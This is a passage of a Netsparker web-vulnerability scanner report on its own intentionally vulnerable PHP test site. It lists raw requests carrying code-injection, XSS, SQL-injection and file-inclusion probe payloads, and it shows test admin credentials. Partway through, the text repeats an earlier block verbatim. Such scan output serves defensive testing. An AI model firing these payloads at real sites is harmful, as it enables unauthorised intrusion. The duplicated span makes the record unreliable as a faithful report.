2142 <meta name="description" content="" />
2143 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2144 <title>Netsparker Test Web Site - PHP</title>
2145 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2146 </head><body>
2147 <div id="wrapper">
2148
2149 <div id="menu">
2150 <ul>
2151 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2152 <li><a href="hello.php?name=Visitor">Hello</a></li>
2153 <li><a href="products.php?pro=url">Products</a></li>
2154 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2155 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2156 <li><a href="auth/">Login</a></li>
2157 </ul>
2158 </div>
2159 <!-- end #menu -->
2160 <div id="header">
2161
2162 </div>
2163 <!-- end #header --> NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
2164 <%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
2165 <script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
2166 <!-- FIXME: File / directory permissions -->
2167 <!-- end #page -->
2168 </div>
2169
2170 <div id="footer">
2171 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2172 </div> <!-- end #footer -->
2173 </body>
2174 </html>
2175 ]]></rawresponse>
2176 <extrainformation>
2177 </extrainformation>
2178
2179 <classification>
2180 <OWASP>A1</OWASP>
2181 <WASC>05</WASC>
2182 <CWE>98</CWE>
2183 <CAPEC>193</CAPEC>
2184 <PCI>6.5.3</PCI>
2185 <PCI2>6.5.1</PCI2>
2186 </classification>
2187
2188 </vulnerability>
2189 <vulnerability confirmed="True">
2190 <url>http://php.testsparker.com/hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f</url>
2191 <type>RcePhp</type>
2192 <severity>Critical</severity>
2193 <certainty>100</certainty>
2194
2195 <vulnerableparametertype>GET</vulnerableparametertype>
2196 <vulnerableparameter>name</vulnerableparameter>
2197 <vulnerableparametervalue>+print(int)0xFFF9999-22;//</vulnerableparametervalue>
2198 <rawrequest><![CDATA[GET /hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f HTTP/1.1
2199 Cache-Control: no-cache
2200 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2201 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2202 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2203 X-Scanner: Netsparker
2204 Accept-Language: en-us,en;q=0.5
2205 Host: php.testsparker.com
2206 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2207 Accept-Encoding: gzip, deflate
2208
2209 ]]></rawrequest>
2210 <rawresponse><![CDATA[HTTP/1.1 200 OK
2211 Date: Fri, 29 Nov 2013 11:26:47 GMT
2212 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2213 X-Powered-By: PHP/5.2.6
2214 Content-Length: 2762
2215 Content-Type: text/html
2216
2217
2218 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2219 <html xmlns="http://www.w3.org/1999/xhtml">
2220 <head>
2221 <meta name="keywords" content="" />
2222 <meta name="description" content="" />
2223 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2224 <title>Netsparker Test Web Site - PHP</title>
2225 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2226 </head><body>
2227 <div id="wrapper">
2228
2229 <div id="menu">
2230 <ul>
2231 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2232 <li><a href="hello.php?name=Visitor">Hello</a></li>
2233 <li><a href="products.php?pro=url">Products</a></li>
2234 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2235 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2236 <li><a href="auth/">Login</a></li>
2237 </ul>
2238 </div>
2239 <!-- end #menu -->
2240 <div id="header">
2241
2242 </div>
2243 <!-- end #header --> <div id="page">
2244 <div id="page-bgtop">
2245 <div id="page-bgbtm">
2246 <div id="content">
2247 <div class="post">
2248 <h1 class="title"><a href="#">Hello Service </a></h1>
2249 <p>
2250 Hello Visitor26840921921$str = 21 +print(int)0xFFF9999-22;//;21 </p>
2251
2252 <div style="clear: both;">&nbsp;</div>
2253 <div class="entry">
2254
2255
2256 </div>
2257 </div>
2258 <div style="clear: both;">&nbsp;</div>
2259 </div>
2260 <!-- end #content -->
2261
2262 <div id="sidebar">
2263 <ul>
2264 <li>
2265 <div id="search" >
2266 <form method="get" action="artist.php">
2267 <div>
2268 <input type="text" name="s" id="search-text" value="" />
2269 <input type="submit" id="search-submit" value="GO" />
2270 </div>
2271 </form>
2272
2273 </div>
2274 <div style="clear: both;">&nbsp;</div>
2275 </li>
2276 <li>
2277 <h2>Tags</h2>
2278 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2279 </li>
2280 <li>
2281 <h2>Inner Pages</h2>
2282 <ul>
2283 <li><a href="artist.php?id=test">Artist Search</a></li>
2284 <li><a href="nslookup.php">Lookup Service</a></li>
2285 </ul>
2286 </li>
2287 <li>
2288 <h2>Links</h2>
2289 <ul>
2290 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2291 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2292 </ul>
2293 </li>
2294 </ul>
2295 </div> <!-- end #sidebar -->
2296 <div style="clear: both;">&nbsp;</div>
2297 </div>
2298 </div>
2299 </div>
2300 <!-- end #page -->
2301 </div>
2302 v
2303 <div id="footer">
2304 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2305 </div> <!-- end #footer -->
2306 </body>
2307 </html>
2308 ]]></rawresponse>
2309 <extrainformation>
2310 </extrainformation>
2311
2312 <classification>
2313 <OWASP>A1</OWASP>
2314 <WASC></WASC>
2315 <CWE>95</CWE>
2316 <CAPEC>23</CAPEC>
2317 <PCI>6.5.2</PCI>
2318 <PCI2>6.5.1</PCI2>
2319 </classification>
2320
2321 </vulnerability>
2322 <vulnerability confirmed="True">
2323 <url>http://php.testsparker.com/products.php?pro=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000097)%3c%2fscRipt%3e</url>
2324 <type>Xss</type>
2325 <severity>Important</severity>
2326 <certainty>100</certainty>
2327
2328 <vulnerableparametertype>GET</vulnerableparametertype>
2329 <vulnerableparameter>pro</vulnerableparameter>
2330 <vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000097)&lt;/scRipt&gt;</vulnerableparametervalue>
2331 <rawrequest><![CDATA[GET /products.php?pro='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000097)%3C/scRipt%3E HTTP/1.1
2332 Cache-Control: no-cache
2333 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2334 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2335 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2336 X-Scanner: Netsparker
2337 Accept-Language: en-us,en;q=0.5
2338 Host: php.testsparker.com
2339 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2340 Accept-Encoding: gzip, deflate
2341
2342 ]]></rawrequest>
2343 <rawresponse><![CDATA[HTTP/1.1 200 OK
2344 Date: Fri, 29 Nov 2013 11:26:49 GMT
2345 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2346 X-Powered-By: PHP/5.2.6
2347 Content-Length: 2749
2348 Content-Type: text/html
2349
2350
2351
2352
2353 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2354 <html xmlns="http://www.w3.org/1999/xhtml">
2355 <head>
2356 <meta name="keywords" content="" />
2357 <meta name="description" content="" />
2358 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2359 <title>Netsparker Test Web Site - PHP</title>
2360 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2361 </head><script type=text/javascript src = "'"--></style></scRipt><scRipt>netsparker(0x000097)</scRipt>" ></script>
2362 <body>
2363 <div id="wrapper">
2364
2365 <div id="menu">
2366 <ul>
2367 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2368 <li><a href="hello.php?name=Visitor">Hello</a></li>
2369 <li><a href="products.php?pro=url">Products</a></li>
2370 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2371 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2372 <li><a href="auth/">Login</a></li>
2373 </ul>
2374 </div>
2375 <!-- end #menu -->
2376 <div id="header">
2377
2378 </div>
2379 <!-- end #header --> <div id="page">
2380 <div id="page-bgtop">
2381 <div id="page-bgbtm">
2382 <div id="content">
2383 <div class="post">
2384 <div class="entry">
2385 <h1 class="title"><a href="#">Products </a></h1>
2386 <p>Currently , we don&#39;t have any products to sell.</p>
2387 </div>
2388 </div>
2389 <div style="clear: both;">&nbsp;</div>
2390 </div>
2391 <!-- end #content -->
2392
2393 <div id="sidebar">
2394 <ul>
2395 <li>
2396 <div id="search" >
2397 <form method="get" action="artist.php">
2398 <div>
2399 <input type="text" name="s" id="search-text" value="" />
2400 <input type="submit" id="search-submit" value="GO" />
2401 </div>
2402 </form>
2403
2404 </div>
2405 <div style="clear: both;">&nbsp;</div>
2406 </li>
2407 <li>
2408 <h2>Tags</h2>
2409 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2410 </li>
2411 <li>
2412 <h2>Inner Pages</h2>
2413 <ul>
2414 <li><a href="artist.php?id=test">Artist Search</a></li>
2415 <li><a href="nslookup.php">Lookup Service</a></li>
2416 </ul>
2417 </li>
2418 <li>
2419 <h2>Links</h2>
2420 <ul>
2421 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2422 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2423 </ul>
2424 </li>
2425 </ul>
2426 </div> <!-- end #sidebar -->
2427 <div style="clear: both;">&nbsp;</div>
2428 </div>
2429 </div>
2430 </div>
2431 <!-- end #page -->
2432 </div>
2433
2434 <div id="footer">
2435 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2436 </div> <!-- end #footer -->
2437 </body>
2438 </html>
2439 ]]></rawresponse>
2440 <extrainformation>
2441 </extrainformation>
2442
2443 <classification>
2444 <OWASP>A2</OWASP>
2445 <WASC>08</WASC>
2446 <CWE>79</CWE>
2447 <CAPEC>19</CAPEC>
2448 <PCI>6.5.1</PCI>
2449 <PCI2>6.5.7</PCI2>
2450 </classification>
2451
2452 </vulnerability>
2453 <vulnerability confirmed="True">
2454 <url>http://php.testsparker.com/hello.php?name=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000090)%3c%2fscRipt%3e</url>
2455 <type>Xss</type>
2456 <severity>Important</severity>
2457 <certainty>100</certainty>
2458
2459 <vulnerableparametertype>GET</vulnerableparametertype>
2460 <vulnerableparameter>name</vulnerableparameter>
2461 <vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000090)&lt;/scRipt&gt;</vulnerableparametervalue>
2462 <rawrequest><![CDATA[GET /hello.php?name='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000090)%3C/scRipt%3E HTTP/1.1
2463 Cache-Control: no-cache
2464 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2465 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2466 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2467 X-Scanner: Netsparker
2468 Accept-Language: en-us,en;q=0.5
2469 Host: php.testsparker.com
2470 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2471 Accept-Encoding: gzip, deflate
2472
2473 ]]></rawrequest>
2474 <rawresponse><![CDATA[HTTP/1.1 200 OK
2475 Date: Fri, 29 Nov 2013 11:26:39 GMT
2476 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2477 X-Powered-By: PHP/5.2.6
2478 Content-Length: 3078
2479 Content-Type: text/html
2480
2481
2482 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2483 <html xmlns="http://www.w3.org/1999/xhtml">
2484 <head>
2485 <meta name="keywords" content="" />
2486 <meta name="description" content="" />
2487 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2488 <title>Netsparker Test Web Site - PHP</title>
2489 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2490 </head><body>
2491 <div id="wrapper">
2492
2493 <div id="menu">
2494 <ul>
2495 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2496 <li><a href="hello.php?name=Visitor">Hello</a></li>
2497 <li><a href="products.php?pro=url">Products</a></li>
2498 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2499 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2500 <li><a href="auth/">Login</a></li>
2501 </ul>
2502 </div>
2503 <!-- end #menu -->
2504 <div id="header">
2505
2506 </div>
2507 <!-- end #header --> <div id="page">
2508 <div id="page-bgtop">
2509 <div id="page-bgbtm">
2510 <div id="content">
2511 <div class="post">
2512 <h1 class="title"><a href="#">Hello Service </a></h1>
2513 <p>
25142514 Hello Visitor<br />
25152515 <b>Warning</b>: Unexpected character in input: ''' (ASCII=39) state=1 in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
25162516 <br />
25172517 <b>Parse error</b>: syntax error, unexpected '"' in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
2518 20$str = 20 '"--></style></scRipt><scRipt>netsparker(0x000090)</scRipt>;20 </p>
2519
2520 <div style="clear: both;">&nbsp;</div>
2521 <div class="entry">
2522
2523
2524 </div>
2525 </div>
2526 <div style="clear: both;">&nbsp;</div>
2527 </div>
2528 <!-- end #content -->
2529
2530 <div id="sidebar">
2531 <ul>
2532 <li>
2533 <div id="search" >
2534 <form method="get" action="artist.php">
2535 <div>
2536 <input type="text" name="s" id="search-text" value="" />
2537 <input type="submit" id="search-submit" value="GO" />
2538 </div>
2539 </form>
2540
2541 </div>
2542 <div style="clear: both;">&nbsp;</div>
2543 </li>
2544 <li>
2545 <h2>Tags</h2>
2546 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2547 </li>
2548 <li>
2549 <h2>Inner Pages</h2>
2550 <ul>
2551 <li><a href="artist.php?id=test">Artist Search</a></li>
2552 <li><a href="nslookup.php">Lookup Service</a></li>
2553 </ul>
2554 </li>
2555 <li>
2556 <h2>Links</h2>
2557 <ul>
2558 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2559 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2560 </ul>
2561 </li>
2562 </ul>
2563 </div> <!-- end #sidebar -->
2564 <div style="clear: both;">&nbsp;</div>
2565 </div>
2566 </div>
2567 </div>
2568 <!-- end #page -->
2569 </div>
2570 v
2571 <div id="footer">
2572 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2573 </div> <!-- end #footer -->
2574 </body>
2575 </html>
2576 ]]></rawresponse>
2577 <extrainformation>
2578 </extrainformation>
2579
2580 <classification>
2581 <OWASP>A2</OWASP>
2582 <WASC>08</WASC>
2583 <CWE>79</CWE>
2584 <CAPEC>19</CAPEC>
2585 <PCI>6.5.1</PCI>
2586 <PCI2>6.5.7</PCI2>
2587 </classification>
2588
2589 </vulnerability>
2590 <vulnerability confirmed="True">
2591 <url>http://php.testsparker.com/auth/login.php</url>
2592 <type>PasswordOverHttp</type>
2593 <severity>Important</severity>
2594 <certainty>100</certainty>
2595
2596 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
2597 Cache-Control: no-cache
2598 Referer: http://php.testsparker.com/auth/
2599 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2600 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2601 X-Scanner: Netsparker
2602 Accept-Language: en-us,en;q=0.5
2603 Host: php.testsparker.com
2604 Accept-Encoding: gzip, deflate
2605
2606 ]]></rawrequest>
2607 <rawresponse><![CDATA[HTTP/1.1 200 OK
2608 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
2609 Date: Fri, 29 Nov 2013 11:26:26 GMT
2610 Pragma: no-cache
2611 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2612 X-Powered-By: PHP/5.2.6
2613 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
2614 Content-Length: 3108
2615 Content-Type: text/html
2616 Expires: Thu, 19 Nov 1981 08:52:00 GMT
2617
2618
2619 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2620 <html xmlns="http://www.w3.org/1999/xhtml">
2621 <head>
2622 <meta name="keywords" content="" />
2623 <meta name="description" content="" />
2624 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2625 <title>Netsparker Test Web Site - PHP</title>
2626 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2627 </head><body>
2628 <div id="wrapper">
2629
2630 <div id="menu">
2631 <ul>
2632 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
2633 <li><a href="../hello.php?name=Visitor">Hello</a></li>
2634 <li><a href="../products.php?pro=url">Products</a></li>
2635 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
2636 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
2637 <li><a href="">Login</a></li>
2638 </ul>
2639 </div>
2640 <!-- end #menu -->
2641 <div id="header">
2642
2643 </div>
2644 <!-- end #header --> <div id="page">
2645 <div id="page-bgtop">
2646 <div id="page-bgbtm">
2647 <div id="content">
2648 <div class="post">
2649 <h1 class="title"><a href="#">Login Area</a></h1>
2650 <p>
2651 Enter your credentials (admin / admin123456)
2652 <br/>
2653 <form method="POST" action="control.php">
2654 Username: <input type="text" name="username"/>
2655 <br/>
2656 Password:&nbsp;&nbsp;<input type="password" name="password"/>
2657 <!-- Test credentials -->
2658 <!-- Password: admin123456 -->
2659 <br/>
2660 <br/>
2661 <input type="submit" value="SUBMIT">
2662 </form>
2663 </p>
2664
2665 <div style="clear: both;">&nbsp;</div>
2666 <div class="entry">
2667
2668
2669 </div>
2670 </div>
2671 <div style="clear: both;">&nbsp;</div>
2672 </div>
2673 <!-- end #content -->
2674
2675 <div id="sidebar">
2676 <ul>
2677 <li>
2678 <div id="search" >
2679 <form method="get" action="../artist.php">
2680 <div>
2681 <input type="text" name="s" id="search-text" value="" />
2682 <input type="submit" id="search-submit" value="GO" />
2683 </div>
2684 </form>
2685
2686 </div>
2687 <div style="clear: both;">&nbsp;</div>
2688 </li>
2689 <li>
2690 <h2>Tags</h2>
2691 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2692 </li>
2693 <li>
2694 <h2>Inner Pages</h2>
2695 <ul>
2696 <li><a href="../artist.php?id=test">Artist Search</a></li>
2697 <li><a href="../nslookup.php">Lookup Service</a></li>
2698 </ul>
2699 </li>
2700 <li>
2701 <h2>Links</h2>
2702 <ul>
2703 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2704 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2705 </ul>
2706 </li>
2707 <li>
2708
2709 </ul>
2710 </div> <!-- end #sidebar -->
2711 <div style="clear: both;">&nbsp;</div>
2712 </div>
2713 </div>
2714 </div>
2715 <!-- end #page -->
2716 </div>
2717 v
2718 <div id="footer">
2719 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2720 </div> <!-- end #footer -->
2721 </body>
2722 </html>
2723 ]]></rawresponse>
2724 <extrainformation>
2725 <info name="Form target action"><![CDATA[control.php]]></info>
2726 </extrainformation>
2727
2728 <classification>
2729 <OWASP>A9</OWASP>
2730 <WASC>04</WASC>
2731 <CWE>319</CWE>
2732 <CAPEC>65</CAPEC>
2733 <PCI>6.5.9</PCI>
2734 <PCI2>6.5.4</PCI2>
2735 </classification>
2736
2737 </vulnerability>
2738 <vulnerability confirmed="True">
2739 <url>http://php.testsparker.com/artist.php?id=-1+OR+17-7%3d10</url>
2740 <type>DbConnectedAsAdmin</type>
2741 <severity>Important</severity>
2742 <certainty>100</certainty>
2743
2744 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+17-7%3d10 HTTP/1.1
2745 Cache-Control: no-cache
2746 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2747 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2748 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2749 X-Scanner: Netsparker
2750 Accept-Language: en-us,en;q=0.5
2751 Host: php.testsparker.com
2752 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2753 Accept-Encoding: gzip, deflate
2754
2755 ]]></rawrequest>
2756 <rawresponse><![CDATA[HTTP/1.1 200 OK
2757 Date: Fri, 29 Nov 2013 11:27:11 GMT
2758 Transfer-Encoding: chunked
2759 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2760 X-Powered-By: PHP/5.2.6
2761 Content-Type: text/html
2762
2763
2764 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2765 <html xmlns="http://www.w3.org/1999/xhtml">
2766 <head>
2767 <meta name="keywords" content="" />
2768 <meta name="description" content="" />
2769 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2770 <title>Netsparker Test Web Site - PHP</title>
2771 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2772 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
2773 <body>
2774 <div id="wrapper">
2775
2776 <div id="menu">
2777 <ul>
2778 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2779 <li><a href="hello.php?name=Visitor">Hello</a></li>
2780 <li><a href="products.php?pro=url">Products</a></li>
2781 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2782 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2783 <li><a href="auth/">Login</a></li>
2784 </ul>
2785 </div>
2786 <!-- end #menu -->
2787 <div id="header">
2788
2789 </div>
2790 <!-- end #header --> <div id="page">
2791 <div id="page-bgtop">
2792 <div id="page-bgbtm">
2793 <div id="content">
2794 <div class="post">
2795 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
2796
2797 <div style="clear: both;">&nbsp;</div>
2798 <div class="entry">
2799 <p>
2800
2801
2802
2518 20$str = 20 '"--></style></scRipt><scRipt>netsparker(0x000090)</scRipt>;20 </p>
2519
2520 <div style="clear: both;">&nbsp;</div>
2521 <div class="entry">
2522
2523
2524 </div>
2525 </div>
2526 <div style="clear: both;">&nbsp;</div>
2527 </div>
2528 <!-- end #content -->
2529
2530 <div id="sidebar">
2531 <ul>
2532 <li>
2533 <div id="search" >
2534 <form method="get" action="artist.php">
2535 <div>
2536 <input type="text" name="s" id="search-text" value="" />
2537 <input type="submit" id="search-submit" value="GO" />
2538 </div>
2539 </form>
2540
2541 </div>
2542 <div style="clear: both;">&nbsp;</div>
2543 </li>
2544 <li>
2545 <h2>Tags</h2>
2546 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2547 </li>
2548 <li>
2549 <h2>Inner Pages</h2>
2550 <ul>
2551 <li><a href="artist.php?id=test">Artist Search</a></li>
2552 <li><a href="nslookup.php">Lookup Service</a></li>
2553 </ul>
2554 </li>
2555 <li>
2556 <h2>Links</h2>
2557 <ul>
2558 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2559 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2560 </ul>
2561 </li>
2562 </ul>
2563 </div> <!-- end #sidebar -->
2564 <div style="clear: both;">&nbsp;</div>
2565 </div>
2566 </div>
2567 </div>
2568 <!-- end #page -->
2569 </div>
2570 v
2571 <div id="footer">
2572 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2573 </div> <!-- end #footer -->
2574 </body>
2575 </html>
2576 ]]></rawresponse>
2577 <extrainformation>
2578 </extrainformation>
2579
2580 <classification>
2581 <OWASP>A2</OWASP>
2582 <WASC>08</WASC>
2583 <CWE>79</CWE>
2584 <CAPEC>19</CAPEC>
2585 <PCI>6.5.1</PCI>
2586 <PCI2>6.5.7</PCI2>
2587 </classification>
2588
2589 </vulnerability>
2590 <vulnerability confirmed="True">
2591 <url>http://php.testsparker.com/auth/login.php</url>
2592 <type>PasswordOverHttp</type>
2593 <severity>Important</severity>
2594 <certainty>100</certainty>
2595
2596 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
2597 Cache-Control: no-cache
2598 Referer: http://php.testsparker.com/auth/
2599 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2600 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2601 X-Scanner: Netsparker
2602 Accept-Language: en-us,en;q=0.5
2603 Host: php.testsparker.com
2604 Accept-Encoding: gzip, deflate
2605
2606 ]]></rawrequest>
2607 <rawresponse><![CDATA[HTTP/1.1 200 OK
2608 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
2609 Date: Fri, 29 Nov 2013 11:26:26 GMT
2610 Pragma: no-cache
2611 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2612 X-Powered-By: PHP/5.2.6
2613 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
2614 Content-Length: 3108
2615 Content-Type: text/html
2616 Expires: Thu, 19 Nov 1981 08:52:00 GMT
2617
2618
2619 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2620 <html xmlns="http://www.w3.org/1999/xhtml">
2621 <head>
2622 <meta name="keywords" content="" />
2623 <meta name="description" content="" />
2624 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2625 <title>Netsparker Test Web Site - PHP</title>
2626 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2627 </head><body>
2628 <div id="wrapper">
2629
2630 <div id="menu">
2631 <ul>
2632 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
2633 <li><a href="../hello.php?name=Visitor">Hello</a></li>
2634 <li><a href="../products.php?pro=url">Products</a></li>
2635 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
2636 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
2637 <li><a href="">Login</a></li>
2638 </ul>
2639 </div>
2640 <!-- end #menu -->
2641 <div id="header">
2642
2643 </div>
2644 <!-- end #header --> <div id="page">
2645 <div id="page-bgtop">
2646 <div id="page-bgbtm">
2647 <div id="content">
2648 <div class="post">
2649 <h1 class="title"><a href="#">Login Area</a></h1>
2650 <p>
2651 Enter your credentials (admin / admin123456)
2652 <br/>
2653 <form method="POST" action="control.php">
2654 Username: <input type="text" name="username"/>
2655 <br/>
2656 Password:&nbsp;&nbsp;<input type="password" name="password"/>
2657 <!-- Test credentials -->
2658 <!-- Password: admin123456 -->
2659 <br/>
2660 <br/>
2661 <input type="submit" value="SUBMIT">
2662 </form>
2663 </p>
2664
2665 <div style="clear: both;">&nbsp;</div>
2666 <div class="entry">
2667
2668
2669 </div>
2670 </div>
2671 <div style="clear: both;">&nbsp;</div>
2672 </div>
2673 <!-- end #content -->
2674
2675 <div id="sidebar">
2676 <ul>
2677 <li>
2678 <div id="search" >
2679 <form method="get" action="../artist.php">
2680 <div>
2681 <input type="text" name="s" id="search-text" value="" />
2682 <input type="submit" id="search-submit" value="GO" />
2683 </div>
2684 </form>
2685
2686 </div>
2687 <div style="clear: both;">&nbsp;</div>
2688 </li>
2689 <li>
2690 <h2>Tags</h2>
2691 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2692 </li>
2693 <li>
2694 <h2>Inner Pages</h2>
2695 <ul>
2696 <li><a href="../artist.php?id=test">Artist Search</a></li>
